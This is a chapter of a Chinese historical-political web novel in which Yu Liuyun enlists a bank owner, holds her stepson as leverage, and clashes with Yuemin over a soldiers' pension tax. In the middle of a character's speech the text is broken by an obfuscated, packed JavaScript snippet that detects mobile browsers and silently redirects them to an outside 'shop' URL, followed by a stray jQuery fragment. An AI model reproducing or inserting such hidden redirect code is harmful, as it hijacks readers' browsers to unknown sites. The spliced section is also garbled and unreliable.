他不明白玉旒云为什么选择养老税这个离奇的玩意儿,不是在东台大营部署防务,不是查探禁军、步军中有多少已经效忠赵王,也不打听大臣中有多少是赵王的支持者。她竟然凭空弄出养老税这个绝对不讨好的计划——她会因此得罪户部,而户部就会找她那些欠了银子的属下的麻烦,也许会引起其他欠款官员的恐慌,使他们更加投奔到赵王这一边来……玉旒云竟然对这些明显的弊端视而不见,一门心思就要搞这个养老税,甚至,悦敏想,她竟然为了能够进入议政处继续弄她那些可笑的新政策,不惜嫁给翼王——虽然只是订婚,但是看她将来怎么收场! 夜会票号财东?悦敏猜测,莫非也是为了养老税么?玉旒云疯了么?或者她明修栈道暗渡陈仓?只好等等看,她地里会有什么动静。赵王倒并不担心:玉旒云的多余动作越多,犯错的机会也就越大,而他们举事的时机就会到来。 悦敏带着这样的想法在议政处跟玉旒云遭遇上了。一连六天,玉旒云不住口地要推行那养老税的计划。悦敏唯恐这后面有阴谋,处处与她为难。而议政处里其他那些不管事的王爷们则觉得——小丫头进议政处本身就是对他们的侮辱,况且这小丫头还目中无人非要搞些不切实际的新花样,真是神憎鬼怨,所以他们也都纷纷对玉旒云冷嘲热讽。但玉旒云毫不退让,每天议政处里都剑拔弩张,吵得不可开交。 到了第七天,玉旒云没上衙门里来,说是病了。议政王们无不拍手称快:“怕是气病了吧!哈,今天可真消停!”悦敏只皱了皱眉头:连日来被玉旒云纠缠得,很多正事都没能处理——他进议政处固然是为了日后替父亲夺位而铺路,而夺位之后,朝廷还要继续运转下去,他得在议政处战稳了脚,才能保证权力交接时国家不出大乱子。 于是,议政王们喝茶的喝茶,看戏的看戏,遛鸟的遛鸟,悦敏则留下来处理积压的公务,直到那天黄昏才离开议政处。才出宫门,他的长随已经迎了上来,低声汇报道:“原来内亲王今天只是装病,她到鼎兴银号吊丧去了。” 又是银号?悦敏挑了挑眉毛:“鼎兴银号死了人么?” “是。”那长随回答,“死了财东。这几年听说一直都是由二姨太当家,那天玉旒云夜会众财东,遇上这二姨太闹事,玉旒云还把人赶走了。” 欲擒故纵,悦敏想,当初不也是骂走了顾长风,转头就让石梦泉去把这铁脖子给收服了,现在用此人治理东海三省,既不会出乱子,又不落人口实。这是玉旒云惯用的小聪明。看来她还是一心想利用票号来促成养老税的计划——这养老税到底会不会是烟幕呢? 也许是因为疲倦,玉旒云的问题并没有占据他的脑海太久,他想,与其让她用烟幕或者别的什么来扰乱自己,不如坐等她出差错。她很快就会出差错——如果赵王对这丫头的估计没有错的话…… 赵王多年经营,阅人无数。他的估计大多数时候是不错的。可这一次,悦敏事后回想,实在是大错特错了。 玉旒云到鼎兴银号吊丧,正是财东梁柬头七的最后一天。她这次没有叫石梦泉陪着,只身一人便装前来,银号的伙计都不知道她是谁,以为只是个普通的客人,所以也没请她到后面的灵堂去,直到她指名要见晋二娘,而晋二娘又从里面出来了,冷着脸问了句:“咦,王爷倒有功夫,来做什么?”伙计们这才知道是风云人物到了。 玉旒云微微笑了笑:“我既不来存款,也不来兑银票。我特来给你家老爷上一柱香——我还以为店堂里就可以烧香行礼呢,原来还得到后面去。” 晋二娘道:“鼎兴银号打开大门做生意,我们家里婚丧嫁娶跟生意都没有关系。灵位放到了店堂里,成何体统?王爷真想行礼,就跟小妇人到后面来吧。”说着,就在前面带路,引玉旒云来到了后堂。而玉旒云就当真装了香,向梁柬的灵位鞠了三个躬。 晋二娘愣了愣,道:“王爷这又是何必?小妇人知道你来这里的目的一定不是向我家老爷行礼,所以带你到后面来方便你说话。你真行了礼,传出去还了得?人家要以为我们银号和王爷有什么瓜葛呢!” 玉旒云笑了笑:“银号和我有瓜葛是坏事么?” “本来不是坏事。”晋二娘道,“盐、茶都是官商,丝绸锦缎也有官办。如果朝廷想官办票业,那在朝廷是件大好事,在老百姓,是个大实惠,而在我们票业行内,是个发财的好机会,小妇人求之不得。只不过,小妇人没听说朝廷要官办票业这回事,况且那天大人把小妇人赶出了醉花荫,这是全行都知道的了——现在你上门来,大概不会是什么好事,恐怕明天就要传出大人想查封我们鼎兴,人言可畏,生意场上最怕这样的麻烦。” 玉旒云哈哈大笑:“你当着那么多财东的面骂我,我把你赶走,这已经扯平了,何以见得我会公报私仇,查封你家的银号?” 晋二娘道:“小妇人虽然不认得王爷,不过谁不知道王爷是个有仇必报的人?王爷要查封我家银号,那是一点儿也不意外的事。” 竟然当面也敢指责自己睚眦必报!玉旒云心里稍有不快,但很快又笑道:“我便真的要查封你家银号,你当如何?” “小妇人要据理力争。”晋二娘道,“哪怕就是滚钉板,告御状,小妇人也不容老爷一手创下的家业被人无理摧毁!” 语气如此斩钉截铁,玉旒云不禁深深地看了她一眼。 晋二娘又道:“不过我看王爷又不像是要查封银号——到底有何贵干,烦您赶紧说出来吧。小妇人每天要处理的杂务多着呢,没功夫陪王爷消遣。” 玉旒云笑了,看堂上摆着太师椅,也不等主家请,就径自过去坐下,抱了两臂道:“好。你爽快,我也爽快——我不想查封你家银号,不过,我想你家银号离开票业会馆,不再按票行的老规矩办事。” 晋二娘愣了愣:“为什么?” 玉旒云道:“你们做生意的人何必问为什么?只要知道有没有好处,不就行了?” “和生意人来往,自然是这样。”晋二娘道,“不过,和官家来往又是两样——生意人只会在钱财上耍手段,再怎么折腾,大不了让你倾家荡产,你还可以重新白手起家。可是官大一级压死人,官家的人耍起手段来,我们生意人怎么吃得消?难道还真的十八年后又是一条好汉么?” 有意思!玉旒云笑了起来:“你可真是考虑得周详。好吧,我这样说,如果你愿意脱离票业会馆,帮我做这件事,不仅你们鼎兴会成为樾国最大的票号,我还会提拔你家成为官商,以后自然是荣华富贵享之不尽——你看如何?” 晋二娘显然觉得这个条件很吸引人,不过还是问:“西京这么多票号,为什么选鼎兴?” 玉旒云叉着手指:“西京票业十三家大票号,那十二家哪怕暗地里斗个你死我活也好,表面上还是抱成一团的,只有你鼎兴被他们排除在外。你在票业会馆里只有受气的份,出来帮我做事,岂不是对大家都好?再说,你当日有胆来我面前要求和莫学仁比试,不就是对自己的本事满有信心吗?我如今让你另立门户,地位超然于那主席之上,你反而觉得我不该选你了?” 晋二娘狐疑地看着这个难以捉摸的年轻人,心里飞快地转过无数个主意。她当然知道玉旒云决不会是捉弄她以图报复——单靠以牙还牙以眼还眼,一个人不可能得到像玉旒云今日这样的地位。也许玉旒云只是利用她,那也无妨。商场本就是相互利用的。只要对生意有好处,应该一试。唯一担心的是,这其中究竟会有多大的风险?权衡来权衡去,最后心里只一个声音:这当儿,玉旒云上了门,难道自己还有的选择么?就豁出去了!她因道:“王爷要我脱离票业会馆,按新规矩办事,到底是什么新规矩呢?” 玉旒云没有立刻回答,轻轻笑了一下,有嘉许之意,但似乎是对着自己,接着才道:“究竟是什么新规矩,我也不知道。我昨天向那十二家财东请教了许久,还没有得出头绪来。不如我把我要做的事告诉你,你依照你多年打理票号的经验来告诉我,需要制定什么样的规矩,如何?” 晋二娘道:“好。” 玉旒云便道:“票号为了避免自身麻烦,一般都不愿做私人借贷。我希望鼎兴能够想出一个办法,让私人借钱变得容易些。” “就是这个?”晋二娘歪着脑袋想了想,“如果是官商来做,就容易得多——须得定一条律法,欠债不还的,流徙三千里。当然,为免有些人破罐子破摔,来个‘要钱没有,要命一条’,还是得事先有抵押才可借钱。朝廷官员还可由朝廷出面,强制每个月从俸禄中扣钱还贷——这些都是可行的办法……” 她才说到这里,玉旒云就出声打断:“好,这些晚些再谈。短期之内,票号还不会官办。如果没有朝廷做你的后盾,你要怎样办这件事?” “没有朝廷撑腰——王爷是拿我开胃了?”晋二娘道,“那我就得去找地痞流氓山贼土匪来撑腰了——我虽然没有读过书,但是知道朝廷的律法之所以人不敢轻易违抗,就是因为背后有公差衙役拿着棍棒刀枪随时准备处罚刁民。你要我敞开大门借钱给人却不给我什么强制手段——难道大人真的相信‘人之初性本善’么?” “你原来会背《三字经》!”玉旒云笑了笑,“要你一力承担这风险,实在有些强人所难。不过最近会有许多朝廷官员急等钱用,我希望鼎兴可以助他们一臂之力——虽然现在我不能强行从他们的俸禄中扣钱来还贷,不过只要他们现在向你借,将来我就一定让他们还——谁还不出的,抄没家财,流徙三千里。” 晋二娘转了转眼珠:“听起来倒是不错——不是我不信王爷将来能逼他们还钱,但保险起见,房屋田产抵押这一条我可不能让步。其实我这也是为王爷考虑。王爷让官老爷们上鼎兴来借钱,肯定有你的用意,你的大事我管不着,管多了怕掉脑袋。不过我猜你也不想大家都知道鼎兴是奉你的命在办事,所以面上决不能说‘凡是朝廷官员只要签字画押都可借贷’,一定得说成只要能抵押,都可借贷,这才不会露出破绽,是不是?” 真没看错这个人!玉旒云眯着眼睛:“不错。你要帮我做的,就是告诉西京所有的人,你们鼎兴放宽了借贷的限制,让官员们缺银子的时候就想到你们鼎兴银号——这就足够了。” “想到?”晋二娘挑了挑眉毛,“王爷是要小妇人帮你放烟幕还是真的要官老爷们都来借钱?” “他们不借钱,你从哪里赚利息?”玉旒云道,“要有借条,白纸黑字,这样本王才好帮你发财呀!” 晋二娘道:“我只是要问个明白而已。做生意定契约,有一处不清楚,将来就会被人钻了空子——小妇人万万不敢钻王爷的空子,但也不想被王爷钻了空子。” 玉旒云笑笑:“好说了,认真严谨是好事。”想了想,又问:“你们鼎兴也算是一间大票号,不知你们的库银能有多少?” 晋二娘犹豫:“王爷为什么这样问?” 玉旒云道:“朝廷有多少官员会需要用银子,又总共会需要多少银子,我心里也没个底儿。如果他们都来挤破你的大门你却借不出那么多银子来,岂不麻烦?” 晋二娘道:“没有那么大的脑袋就不戴那么大一顶帽子。我们银号向外借贷向来都是量力而行,决不会亏空自己的库房。如今就算全朝廷的官员来了,我们也得根据库银的状况仔细审核每一位大人,看看他们要借多少,有什么抵押,将来能不能还得起。审核需要时间,各位大人登门也有先来后到——我想这么多朝廷命官急等钱用应该是件突然的事,而王爷一早就知道‘突然事件’,所以一定能控制局势,不让这突然事件持续太久。如果时间短,只有三五七天,我们鼎兴还支撑得住。” 她倒想得比我还周到!玉旒云暗道:“好吧,既然你说三五七天都可以,那就预着五天好了。” “什么时候开始?”晋二娘问。 玉旒云牵了牵嘴角,一副“不能告诉你”的表情,道:“你只管你先做好你该做的——脱离票业会馆,放出消息去鼎兴要受理私人借贷——你的功夫做足了,生意自然就上门了。” 晋二娘皱了皱眉,似乎对这其中的风险还有所顾虑。正想再说些什么,却听一人道:“二娘,小林出了道难题给我,我想破头也想不出来……”伴着那话音,一个十四五岁的少年走了进来,想来就是梁柬正室的儿子,模样十分憨厚,大约因为想难题想得太久,眉头都打成了结。忽然看到有玉旒云这个陌生人在,知道自己失礼了,急忙收住脚,又看向晋二娘寻求来客的辈分,以便拜见。 晋二娘正不知玉旒云是否愿意透露身份,玉旒云却笑着对这少年道:“是什么难题,说出来听听!” 少年由于了一下,道:“把十七枚铜钱分成三份,一份是总数的二分之一,第二份是总数的三分之一,第三分是总数的九分之一。铜钱不可打破。要如何分才好呢?” 玉旒云一听,就记起这是小时候自己也玩过的把戏,用来为难石梦泉,石梦泉想了整天也没结果。这是雕虫小技而已!她即笑道:“谁问你这个问题,你且叫他再给你一个铜钱——十七个铜钱加上一个就是十八个。十八分一半是九个,三分之一是六个,九分之一是两个,九、六、二加起来是十七个,余下的那一个再还给人家,不就结了?” 少年不知道这个“难题”其实早就广为流传,听玉旒云一语道破,惊讶得瞪大了眼睛,转向晋二娘道:“二娘,这个哥哥是谁?” “这……”晋二娘望了望玉旒云。后者哈哈笑道:“真有趣,本王活了二十几岁,还没人叫我做‘哥哥’——晋二娘,你家公子叫什么名字?” 晋二娘听她自己暗示了身份,赶紧拖着少年一齐跪了下去:“回王爷的话,他叫梁新。冒犯王爷请王爷恕罪。” “梁新?”玉旒云忍不住笑了起来,“做生意讲良心呐,真是好名字——什么冒犯不冒犯的,本王没那么多规矩。你们起来吧。”就虚抬了一下手,又问梁新道:“我听你二娘说你很能帮他的忙。你读了几年书了?是打算继承家业,还是打算考科举?” 梁新傻乎乎的,还没转过弯来这究竟是哪一家王爷,但照实回答说自己开蒙至今已经十年,只是资质驽钝,记账写信都可胜任,科举大概是无望的。晋二娘在一边补充:“能不败家我就算对得起老爷了。今后还请王爷多提拔。” 玉旒云笑道:“我提拔他还不容易?不过也要看提拔得合不合他的心意——他若是一心只想继承家业做个富商,我却提拔他去当侍卫,那有什么意思?” 她本是随口说说,不想梁新的眼中放出异样的光彩来:“王爷能提拔我去做侍卫?” “怎么不能?”玉旒云心中有个念头一闪,“我乃堂堂领侍卫内大臣,往禁军教头跟前插一个人还能做不到?” “啊,原来你是……”梁新这时才恍然悟出这“王爷”的身份。 “小孩子家不要胡说八道。”晋二娘连忙出声,“王爷跟你开玩笑,你有点什么三脚猫的功夫,去给人家添麻烦?还不给我回去读书!今天练算盘了没?” 梁新好不扫兴,正要告退。玉旒云道:“皇上是一言九鼎,我虽然说话没有那个分量,但是也不会随便开玩笑——梁新你是当真想当侍卫么?你要当了侍卫,你家的生意怎么办?” “我……”梁新抓抓脑袋,“我只是很想学些功夫,做不做侍卫倒是……” “原来你只是想学功夫。”玉旒云道,“那更简单了。我提拔你去给石梦泉将军当两年跟班。我看你体格不错,两年光景什么都学到了。” “啊?真的?石将军么?”少年人兴奋得几乎要跳起来。而晋二娘的心却沉下去:自己一时争强引来了玉旒云,现在可麻烦了——卷进一场未知的争斗之中,玉旒云显然是怕自己变节,要扣了梁新做人质。这真是全无退路了!她直直地看着玉旒云,后者只是微微而笑,道:“梦泉这几天正闲着,拣日不如撞日,你一会儿就跟我上他家里去,叫他看看你现在都会些什么。” “我只晓得很粗浅的……”梁新激动地。不过才说了半句,晋二娘就道:“贸然去打扰石将军,这不太好吧?再说,你还没有请示过你娘呢!” “梦泉那边没什么关系。不打仗的时候,他是闲人一个,这两天正闷得狠呢,没事就找东台大营的军官切磋功夫,那些人都被他折腾惨了。”玉旒云笑道,“梁少爷去给他当徒弟,他肯定高兴——照礼数,也应该和梁夫人说一声。不如梁少爷你现在就去说,我和你二娘还有点事要谈。回头我就叫人上你家来接你。” 不说“请示”只是打个招呼,又要派人上门,晋二娘知道,全无转圜的余地了。看梁新欢天喜地地退了出去,她略带愤怒地瞪着玉旒云:“王爷是什么意思?” “用人勿疑,疑人勿用。”玉旒云的笑容渐渐透出了平日那种犀利的冷光,“不过,日久才能见人心呢——相信晋二娘你打理票号这么长时间,也是先看准了伙计的表现,然后才派给他们更重要的任务吧?” 晋二娘咬了咬嘴唇,三角眼瞪得几乎圆了。 玉旒云淡淡道:“如今就是一个‘见人心’的机会。其实你想一想,事情办好了,对大家都好。如果事情办砸了——我相信,你不会让事情办砸的,是不是?” “王爷这哪里是想看我的表现?”晋二娘冷冷道,“王爷这分明就是威胁我。如果办不好,就要伤害梁新——世上哪儿有能保证办好的差事?说到底,王爷还是不信我。不是小妇人仗着年纪大了就教训王爷,事情不是这么办的。如果小妇人这样打理票号,拿伙计们的性命或者家人来威胁他们好好做事,票号的伙计早就跑得不个也不剩了!” 玉旒云笑了笑:“不错,票号的确不能如此打理。不过你方才自己也说过,我做的事跟你们的生意不同。生意失败了,大不了白手起家再重新来过,我做的这些事万一出了纰漏,那就真的只能‘十八年后又是一条好汉’了。差事不一样,手段当然也就不一样。我实话告诉你,我并不是怕你能力有限办砸差事,我是怕消息泄露出去,害了大家。我请梁少爷去梦泉那里住一阵子,既不会害他性命,又不会耽误他的学业,事情办完了,我自然栽培他——到时候你们鼎兴成为樾国官商第一大票号,他的前途不可限量呢。你现在何必要和我较真这个?应该好好考虑怎样把事情办得妥妥当当——你说是不是?” 晋二娘虽然心里还很不是味道,但是知道玉旒云的话也没有错,只好不作声。玉旒云便又笑了笑,道:“你是聪明人,醉花荫的时候我就看出来。有你在,鼎兴和梁家都是前途一片光明。我不耽误你办正事了,回头我就叫人来接梁少爷。”说罢,起了身,又朝梁柬的灵位微微欠了欠身,便走出了鼎兴银号。 梁新被接进石梦泉府,这个消息也很快如实地传到了悦敏的耳朵里。暂时还看不出玉旒云葫芦里卖的什么药,悦敏决定静观其变。 过了三天,报来鼎兴银号脱离西京票业会馆的消息,然后又过了三天,说是鼎兴门前贴出大红告示,称依照财东梁柬遗愿,为了让更多的人有机会发家致富,鼎兴决定改变借贷条件,只要有保人,就可以借钱。旁边还附了梁柬少年时的故事一则:梁柬生意失败又欠了高利贷的钱,走投无路,到一家商号里打杂。商号的老板看出他很有头脑,将来必成大器,就鼓励他借一笔本金,东山再起。然而,当时的票号看他之前已经生意失败且欠了高利贷,都不肯借钱给他,最终,那间商号的老板用自己的名义帮梁柬借到了本金。梁柬依靠这笔钱,还了高利贷的债,又建立了鼎兴银号,成为一方巨富。他想要回去报答当时的旧东家,却怎么也找不到,且周围的人都说,根本没有这个人。他再去当年的银号,银号也说从来没有借钱这件事。梁柬感慨万分,觉得这位旧东家必是财神无疑,于是每年都将银号红利中两成供奉起来,视为“财神股”,希望有朝一日,可以向财神表示感谢。到临死之时,他得到财神启示,要用这笔钱帮助其他像他当年一样的年轻人。于是他决定用这笔钱设立这项新的借贷业务。 悦敏并不熟悉票号的规矩,单知道什么财神一说显然是穿凿附会。他便只问:“玉旒云有没有再和银号的人联系?”眼线说,没有,玉旒云除了上衙门办公务,就是上石梦泉家里。悦敏听了,暗想:既然还不明了,再等等不妨,就不信户部不愿办的养老税一事,玉旒云靠一间民间票号就能办到——如今看看,这还多半是烟幕。他便吩咐眼线们加紧监视玉、石二人的一举一动。 如此又过了几天,并不见玉旒云有什么动静,无非是继续在议政处坚持养老税计划而已。众议政王已经对此厌烦无比,天气日渐炎热,大家衣冠楚楚地憋在议政处里,身上衣服全都汗湿,脾气也愈加火爆。滕王爷的长子廉郡王是个大胖子,稍动一动,就好像从水里捞出来的一样,他实在不想再继续在这个问题上纠缠下去,终于忍不住道:“玉大人成日说养老税是真正造福士兵造福朝廷的大好事,但是这一直都是玉大人你自己一个人说的,能否造福朝廷,起码户部一直反对,这且不说了——士兵究竟是怎么想的,我们也不知道——为什么不找些其他带兵的将领来,问问他们到底怎么看?” 玉旒云道:“也好,这就请石梦泉来问问。” 大胖子廉郡王拿了本书当扇子呼啦呼啦地扇着,正要点头了事,旁边瘦得猴儿一般的雍穆公却把头摇得拨浪鼓似的,道:“请他来,不是等于没请么?谁不知道石将军是玉王爷你的爱将,你说一,他不说二。就算他讲的真是士兵的心声,大家也要怀疑是玉王爷你的授意呢。” 玉旒云冷冷的:“那依你所见,竟是请谁来好?” 雍穆公慢条斯理:“照我看,刘子飞刘将军正合适。他是老将了,这次东征他也是功臣之一,何况……”何况他还是玉旒云的对头,这话不用挑明,大家也知道,雍穆公便接下去:“要是连他都支持玉王爷,那可见王爷你提的当真是造福士兵的好计划。” “哼!”玉旒云轻轻地冷笑,“好,就请刘子飞来!不过,请石梦泉也一道来,多一个人多一份意见,大家好参考。” 议政王们暗想,两个都请来了,岂不要有一番辩论?看来今天又没希望把这事彻底解决。不过,让他们吵,总好过自己和玉旒云吵,好歹把办公的时辰熬过去再说。大家因而没有异议。悦敏吩咐外面的侍卫,速速去请刘子飞和石梦泉来。 不多时,两人就都到了。对于玉旒云封议政王这件事,刘子飞是心里最不痛快的人之一,进门时,脸上尽是咬牙切齿的表情。不过玉旒云今非昔比,他不好再出言不逊,只有把满肚子的恼火都发作到石梦泉的身上,当两人并排走近房时,他恶狠狠地轻斥道:“石将军,你我虽平级,但是我始终年长于你,规矩上,应该是我走前,你走后。”石梦泉不同他计较,闪身让他先走。刘子飞本想借题发作,没想到硬拳头出击打到了棉花上,只有气哼哼地一撩袍子,率先给各位议政王见礼。 多一个人,屋子里就热一分,镇在墙根儿的冰块在迅速地融化。廉郡王大汗淋漓,扇着风,道:“别多礼了,请你们来无非是想问问,养老税这事究竟下头的士兵是怎么看的?” “回王爷的话,”刘子飞抢先道,“士兵们根本就不想要什么养老税。大家出生入死,好不容易从战场上回来了,最想要的,就是和以前一样——一笔劳军的银子,他们好即刻带回家去,交给妻儿老小。照玉……玉大人的养老税,士兵们要等二十几年才能真正得到实惠——那时候,说不定人家全家都死绝了。玉大人这其实就是变着方儿拖欠士兵的劳军银子嘛!” 听他这样一说,议政王们如释重负:看看玉旒云还有什么好折腾的。 玉旒云只是迅速地瞥了一眼石梦泉,后者就道:“下官不同意刘将军的说法。下官以为,虽然士兵要过十几二十年才能得到这笔养老银子,可是养老税通行全军,使所有服兵役的人都得到切实的好处。近日有些士兵,服役数年,也许一直没有上过前线,只是在后防负责治安,粮饷,水利,他们对国家的贡献决不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728656|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下于上阵杀敌的兵卒,但是却从来也得不到劳军的银两,这不是很不公平么?实行养老税可以实现对士兵们一视同仁。再者,以养老税直接落实到个人,避免了劳军银子发放时层层盘剥——有时发到士兵手上,已经所剩无几了。” “石梦泉,你是什么意思?”刘子飞立时火了,“你说谁层层盘剥?” 这是典型的“此地无银三百两”,议政王们忍不住偷偷笑了起来,唯玉旒云板着面孔道:“刘将军,你激动什么?梦泉只是随便说说而已。” “随便说说?”刘子飞抓着机会,立刻大做文章,“现在是商量正事,岂是小孩子闹着玩?怎么可以随便说说?那你们的养老税也是随便说说,随便玩玩得了?国家大事也这样儿戏?”他红了脸,连珠炮似的说下去。 悦敏沉默地微微含笑。其实刘子飞这着棋是他早就安排好了的。所有养老税的弊端都是他告诉刘子飞,并吩咐回家背诵流利。他多天以来没用自己走出这步棋,就是要先等玉旒云慢慢消磨了议政王爷们的耐性,然后由别的王爷想到刘子飞身上,这样自己才能兵不血刃。刘子飞前来投诚时他想,这个酒囊饭袋能有什么别的作用?小丑也就只能用来跳梁而已。这养老税是玉旒云的宏图大计也好,障眼烟幕也罢,今天一定要有一个了断! 他就继续微笑着看着闹剧。刘子飞有刘子飞的说法,石梦泉有石梦泉的应答。两边各执一词,互不相让。廉郡王手里的书都快被扇散架了,雍穆公这个瘦子也开始汗流浃背。其他的王爷有些眼望房梁,大概惦记着自己的爱鸟儿,还有的怔怔看着窗外发呆,希望有几个美貌宫女经过,可以缓缓脑筋。 终于,看到外面场上旗杆的影子已经缩成了一个小小的圈点儿,这位眼望窗外的乐安侯兴奋地叫道:“嘿,到时辰了,该散了,有什么明天再议吧。我家里还有……还有要事呢!”其他议政王爷听了,立刻赞同,有几个伸着懒腰,站了起来就要朝外走。 刘子飞还面红耳赤地跟石梦泉争执,玉旒云和悦敏也丝毫没有要结束这场讨论的意思。廉郡王继续折磨着那本书,道:“怎么?大热的天,继续议下去我看也没什么结果呢!” “难道明天接着议论就能有结果?”悦敏道,“已经拖得太久了。索性了结了,岂不便宜?”他说时,看了一眼玉旒云。 “当然是越快解决越好。”玉旒云冷淡地,“东征大军还驻扎在城外,不给他们一个交待,他们既不能还乡,也不能回归驻地。不过今天诸位王爷们请了两位带兵的将军来,也没争出个所以然,是不是要再请第三个将军来说说意见?” 再请一个,那岂不是又要半天的光景?议政王们想想都头大了。大家几乎是以哀求地眼神看着悦敏。悦敏摸了摸紧皱的眉头,清清嗓子,道:“其实要说带兵的将领,我也在北方领过军。我是反对养老税的。玉王爷自己久经沙场,却是养老税的支持者——所以就我看,再找几个将领来,也是有支持有反对,吵到明年也不见得有结果。” “那就看看是支持的多,还是反对的多嘛。”雍穆公道。 “我也是这样想。”悦敏道,“不过要找那么多军官起来表态,耗时费力。不如就我们议政王爷们各自给各意见,看看究竟是设立养老税好,还是按照旧制发放劳军银子好——相信讨论了这么多天,又听了刘将军和石将军两位的意见,大家心里都有决断了吧?”他环视四周,最后把目光停在玉旒云身上。 “好。”玉旒云道,“反正要不就是养老税,要不就是劳军银子——旧制是每人二十两吧?落雁谷那次拖拖拉拉,最后也没发下来,大清河说是并非战胜,所以不发了。这次可的的确确是打了胜仗——每人二十两劳军银子,或者全军实行养老税,二选一吧。”她说着,将手边的茶碗打开,把盖子倒扣在茶几上。 悦敏见了,冷冷地也打开了自己的茶碗,但是将盖子正放。其他的议政王有的毫不犹豫就跟了悦敏,有的还看看别人的意见,才最终表态。一轮下来,几乎所有人都跟着悦敏,唯有坐在玉旒云身边的那个礼郡王先是赞同了悦敏,但是看玉旒云转头头来瞥了自己一眼,又赶紧变卦。但是表决结果已经很明显。悦敏似笑非笑,道:“怎样,玉王爷自己也赞成用这个法子解决难题,如今有了定论,王爷是否要遵从众议?” 玉旒云面若寒霜,手一拂,茶碗连同盖子就一起跌到了地上。她站起了身:“既然如此,我当然没什么好说的。这就拟了合议的折子,明天递到上书房里吧。”最后一个字说完,她已经推门走了出去。 玉旒云如此拂袖而去,议政王们终于都松了口气,悦敏心里忍不住有些小小的得意:看来玉旒云毕竟还是个半大的孩子,喜怒形于色,怎么是搞政治的材料?他自告奋勇起草奏章,说是写好了再给各位王爷过目。王爷们却早都对政事厌烦了,全说:“永泽公作主就好。”相互拱拱手,一转眼就都散了。这正合悦敏的心意,他回了赵王府,写定了折子,又向赵王汇报今日的成绩。 不想赵王听了议政处的一幕之后略一沉吟,眉头就皱了起来:“这丫头竟然还能玩这一手,敏儿,你中了她的计了!” 悦敏怔了怔:“儿子不明白父王的意思。” 赵王道:“户部那里是什么情形,你难道不晓得么?别说拿二百万两银子出来劳军,就是甘州报了旱灾,赈灾的四十万两银子都还没着落呢。”他手里转着两枚铁胆,相互摩擦着,发出“嗞嗞”的响声:“估计玉旒云也查出户部的银库是空的,所以故意……哼,你不是一直怀疑她闹得着个养老税是个烟幕么?果然就是烟幕了。她假装要搞新政,故意把养老税和劳军银子这事闹得满朝皆知,让朝廷不能拖欠她的劳军银子。她摆出的姿态是,银子一天不发,她驻扎在城郊和戚县的部队就一天不离开——这少说也有五万人马,本来可以随便敷衍一下就让他们回驻地,如今……如今玉旒云用如此合理的理由让他们留在京师,万一我们要有什么动作——我们虽然收服了不少禁军将士,但是区区禁军那几千人马怎么能和那些战场上回来的亡命之徒比?” 悦敏想了想,父亲说的果然有道理,玉旒云同他耗了这么多天,不惜把议政处的王爷们全都得罪了,终于有了今日——看起来像是大家逼迫她接受了一次性劳军银子的方案,实际是她借助众亲贵逼迫悦敏接受了她长期在西京驻军。难怪她这么轻易就接受了合议的结果,原来是另有目的! “是儿子一时疏忽,”悦敏道,“低估了玉旒云。” “也不能怪你。”赵王道,“这丫头虽然嫩了点儿,但毕竟在军队里历练了这么多年,肚子里还是有些诡计的。” “那现在我们骑虎难下,”悦敏道,“合议折子明天非递上去不可,皇上也一定会批示叫户部即刻拨银,这……” 赵王笑了笑:“我说玉旒云嫩了点儿,就真的嫩了点儿。她对付博西勒也许游刃有余,对你已只有招架之力,遇到我亲自上阵,骑虎难下的就是她!”他的眼里闪出了冷光:“折子你照上,把户部亏空的事揭出来——他手下不是有好几名爱将都欠着银子么?” “不错!”悦敏恍悟,“罗满、潘硕——这是两个官位最高的,其他还有外放出去做了参将的,朝中向户部借钱的官员太多了,随便一抓就是一大把,玉旒云的旧部中肯定有不少。儿子马上就从《百官册》里查一查。” 赵王点了点头:“玉旒云自视甚高,本身从来不缺银子使,也不屑做违法乱纪之事;她身边有个石梦泉,也是素来不碰来路不明的财物。估计玉旒云处身这样的象牙塔中,肯定想不到自己手下竟有这么多闹亏空的人。她想借户部来将我们一军,我们就用户部来将死她。明天你上了折子,等皇帝批示发到户部,待户部一支吾,事情闹了出来,你就自请做查账的钦差大臣,先揪住玉旒云的几个部下——如果能就此将潘硕免职,对我们是大大的有利。” 悦敏记下了,又道:“玉旒云恐怕不会乖乖地让我们将住吧?虽然她的个性,决不会徇私包庇下属,但是万一她也想到亏空是朝廷中的普遍现象,开始调查我们的人,那可如何是好?” “我们的人中有比较紧要的几个,”赵王道,“南方七郡总督黎右均、总兵黄延武,刚提升北疆镇守抚远将军的陈源,禁军里火器营的督尉裴力,善捕营督尉孔敬伦,兵部右侍郎谭方……你且看着办,拣那最紧要的几个,给他们通个气,叫他们赶紧想办法把银子还上,过了这风头再说。” “是。”悦敏答应,“不过这中间有些人是真穷,恐怕还不出银子来,儿子想,不如我们王府替他们还上?” “就是陈源嘛——”赵王道,“他母亲的那个毛病虽然是个无底洞,但是他也没欠多大一笔数目,你就替他还上吧。千万不要让玉旒云知道就行了。” “是。”悦敏再次答应,“余下其他的官员,多多少少,欠了不少银子呢,就由得玉旒云去追查么?她那不近人情的办事法子,岂不是要把这些人都逼死了?” “让她闹嘛。”赵王道,“如果她不来趟着浑水,自然咱们的人也都不用担心。要是她非要插手来查,你就力邀她共同主持,一齐做钦差,由她把户部闹个鸡飞狗跳。现在议政处里,她已经是神憎鬼厌,若她再来查账,全国的文武百官都要把她恨死。众口铄金,积毁销骨。一个人立身再正,也抵不过众人的指摘。何况玉旒云这种四处得罪人,梳了满头小辫子叫人来抓的角色?到时候参劾她的折子恐怕像雪片般地飞来。扳倒了她,正好让我们的人接收她的人马。” 这正是顺水推舟的好计!悦敏想,玉旒云一直既是他们拉拢的对象,又是他们想用作政变的导火索。如今拉拢是不成的了,能够以方面把她除掉,一方面制造混乱乘机兵变,也是上佳之策! “那儿子这就去起草折子,也准备一下查账的事。”他向赵王告辞。 赵王轻轻“嗯”了一声,忽又叫住他:“你……最近是不是又和博西勒有来往?” 